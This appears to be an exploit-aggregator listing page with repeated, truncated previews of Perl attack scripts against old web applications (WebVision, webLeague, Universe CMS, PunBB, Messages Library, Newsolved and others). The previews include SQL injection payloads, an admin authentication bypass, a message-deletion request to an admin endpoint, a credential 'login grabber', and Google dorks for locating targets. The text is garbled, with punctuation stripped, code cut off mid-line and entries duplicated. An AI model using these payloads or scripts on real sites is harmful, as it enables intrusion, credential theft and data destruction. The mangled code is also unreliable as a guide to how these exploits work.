WebVision 2.1 SQL Injection

!/usr/bin/perl -w WebVision 2.1 n Remote SQL Injection Exploit Demo : http://www.webdev4all.nl/demowebsite/ Dork : Webdevelopment Tinx-IT Dork2: Copyright © 2006-2008 Tinx-IT and open your mind admin panel : www.target.com/path/cms Found by : Mr.tro0oqy E-mail : [email protected] special thank...

WebVision 2.1 (news.php n) Remote SQL Injection Exploit

Exploit for unknown platform in category web applications ======================================================= WebVision 2.1 news.php n Remote SQL Injection Exploit ======================================================= !/usr/bin/perl -w WebVision 2.1 n Remote SQL Injection Exploit Demo :...

WebVision 2.1 - 'news.php?n' SQL Injection

!/usr/bin/perl -w WebVision 2.1 n Remote SQL Injection Exploit Demo : http://www.webdev4all.nl/demowebsite/ Dork : Webdevelopment Tinx-IT Dork2: Copyright © 2006-2008 Tinx-IT and open your mind admin panel : www.target.com/path/cms Found by : Mr.tro0oqy E-mail : [email protected] special thank...

webLeague 2.2.0 (Auth Bypass) Remote SQL Injection Exploit

Exploit for unknown platform in category web applications ========================================================== webLeague 2.2.0 Auth Bypass Remote SQL Injection Exploit ========================================================== !/usr/bin/perl -W WebLeague 2.2.0 Remote Admin Bypass p0c writte...

webLeague 2.2.0 (Auth Bypass) Remote SQL Injection Exploit

No description provided by source. !/usr/bin/perl -W WebLeague 2.2.0 Remote Admin Bypass p0c written by ka0x ka0x01atgmail.com need magicquotesgpc = Off Vuln code Admin/index.php : 10: $sql="SELECT FROM $admintable WHERE name = '$POSTusername' AND password = '$POSTpassword'"; // --- NOT CLEAN $PO...

webLeague 2.2.0 - Authentication Bypass

webLeague 2.2.0 - Authentication Bypass !/usr/bin/perl -W WebLeague 2.2.0 Remote Admin Bypass p0c written by ka0x need magicquotesgpc = Off Vuln code Admin/index.php : 10: $sql="SELECT FROM $admintable WHERE name = '$POSTusername' AND password = '$POSTpassword'"; // --- NOT CLEAN $POST VARS 11:...

Universe CMS 1.0.6 (vnews.php id) Remote SQL Injection Exploit

Exploit for unknown platform in category web applications ============================================================== Universe CMS 1.0.6 vnews.php id Remote SQL Injection Exploit ============================================================== !/usr/bin/perl -w Universe CMS 1.0.6 id Remote SQL...

Universe CMS 1.0.6 - 'vnews.php?id' SQL Injection

!/usr/bin/perl -w Universe CMS 1.0.6 id Remote SQL Injection Exploit Demo : http://www.universe.uni.org.pl Download : http://www.universe.uni.org.pl/upload/universecms106.rar Found by : Mr.tro0oqy E-mail : [email protected] special thank for my teacher "Stack" system"color e"; print...

EZNewsletter 3 Database Disclosure

!/usr/bin/perl Application Name : EZNewsletter V3 Vulnerable Type : Arbitrary Database Disclosure Vulnerability Infection : Admins Database Download Script Downlaod : http://www.htmljunction.com/eznewsletterv3.zip author : Septemb0x Greetz BHDR, BARCOD3 use lwp::UserAgent; system'cls'; system'tit...

ShopCartDx 4.30 SQL Injection

!/usr/bin/perl 0-Day ShopCartDx 'Mozilla/5.0', maxredirect = 0, cookiejar = $Cookies, or die $!; my $Get = $UserAgent-get$HostName.SQLInjection$MemberID; if$Get-content = /0-91,5 : a-zA-Z0-9-.2,15 : a-zA-Z0-91,15/i refresh$HostName, $1, $2, $3; print " Exploit Successed \n"; print "...

Messages Library 2.0 Arbitrary Delete Message Vulnerability

Exploit for unknown platform in category web applications =========================================================== Messages Library 2.0 Arbitrary Delete Message Vulnerability =========================================================== !/usr/bin/perl -w Messages Library 2.0 ; $b =...

Messages Library 2.0 Arbitrary Delete Message Vulnerability

No description provided by source. !/usr/bin/perl -w Messages Library 2.0 = Arbitrary Delete Message Founded & Exploited by : Stack print "\t\t\n\n"; print "\t\t Messages Library 2.0 = Arbitrary Delete Message \n\n"; print "\t\t by Stack \n\n"; print "\t\t\n\n"; use LWP::UserAgent; die "Example:...

Messages Library 2.0 Message Deletion

!/usr/bin/perl -w Messages Library 2.0 ; $b = LWP::UserAgent-new or die "Could not initialize browser\n"; $b-agent'Mozilla/4.0 compatible; MSIE 7.0; Windows NT 5.1'; $host = $ARGV0 . "/admin/sms.php?Action=Delete&ID=".$id.""; $res = $b-requestHTTP::Request-newPOST=$host; print "\nBrought to you b...

Messages Library 2.0 - Arbitrary Delete Message

Messages Library 2.0 - Arbitrary Delete Message !/usr/bin/perl -w Messages Library 2.0 ; $b = LWP::UserAgent-new or die "Could not initialize browser\n"; $b-agent'Mozilla/4.0 compatible; MSIE 7.0; Windows NT 5.1'; $host = $ARGV0 . "/admin/sms.php?Action=Delete&ID=".$id.""; $res =...

Messages Library 2.0 - Arbitrary Delete Message

!/usr/bin/perl -w Messages Library 2.0 ; $b = LWP::UserAgent-new or die "Could not initialize browser\n"; $b-agent'Mozilla/4.0 compatible; MSIE 7.0; Windows NT 5.1'; $host = $ARGV0 . "/admin/sms.php?Action=Delete&ID=".$id.""; $res = $b-requestHTTP::Request-newPOST=$host; print "\nBrought to you b...

PunBB Affiliates Mod 1.1 - Blind SQL Injection

!/usr/bin/perl 0-Day PunBB Affiliations.php OUT Mod newGET = $Host; my $HTTP = new LWP::UserAgent; my $Referrer = "http://warwolfz.altervista.org/"; my $DefaultTime = request$Referrer; sub BlindSQLJnjection my $dec,$hex = @; return "./affiliates.php?out=-1+OR+1!=SELECT...

NEWSolved 1.1.6 - login grabber Multiple SQL Injections

NEWSolved 1.1.6 - login grabber Multiple SQL Injections !/usr/bin/perl -w Neversolved.pl Copyright c 2009 by A simple login grabber by lama - 06/23/2009 Tested on: Newsolved 1.1.6 use strict; use LWP::UserAgent; use Getopt::Std; use vars qw/ %opt /; getopts "i:p:u:lfh", %opt ; my @bugs =...

Joomla Component com_php (id) Blind SQL Injection Vulnerability

Exploit for unknown platform in category web applications =============================================================== Joomla Component comphp id Blind SQL Injection Vulnerability ===============================================================...

Newsolved 1.1.6 (login grabber) Multiple SQL Injection Exploit

No description provided by source. !/usr/bin/perl -w Neversolved.pl Copyright c 2009 by jmp-esp.net A simple login grabber by lama - 06/23/2009 Tested on: Newsolved 1.1.6 use strict; use LWP::UserAgent; use Getopt::Std; use vars qw/ %opt /; getopts "i:p:u:lfh", %opt ; my @bugs =...

Newsolved 1.1.6 (login grabber) Multiple SQL Injection Exploit

Exploit for unknown platform in category web applications ============================================================== Newsolved 1.1.6 login grabber Multiple SQL Injection Exploit ============================================================== !/usr/bin/perl -w Neversolved.pl Copyright c 2009 by...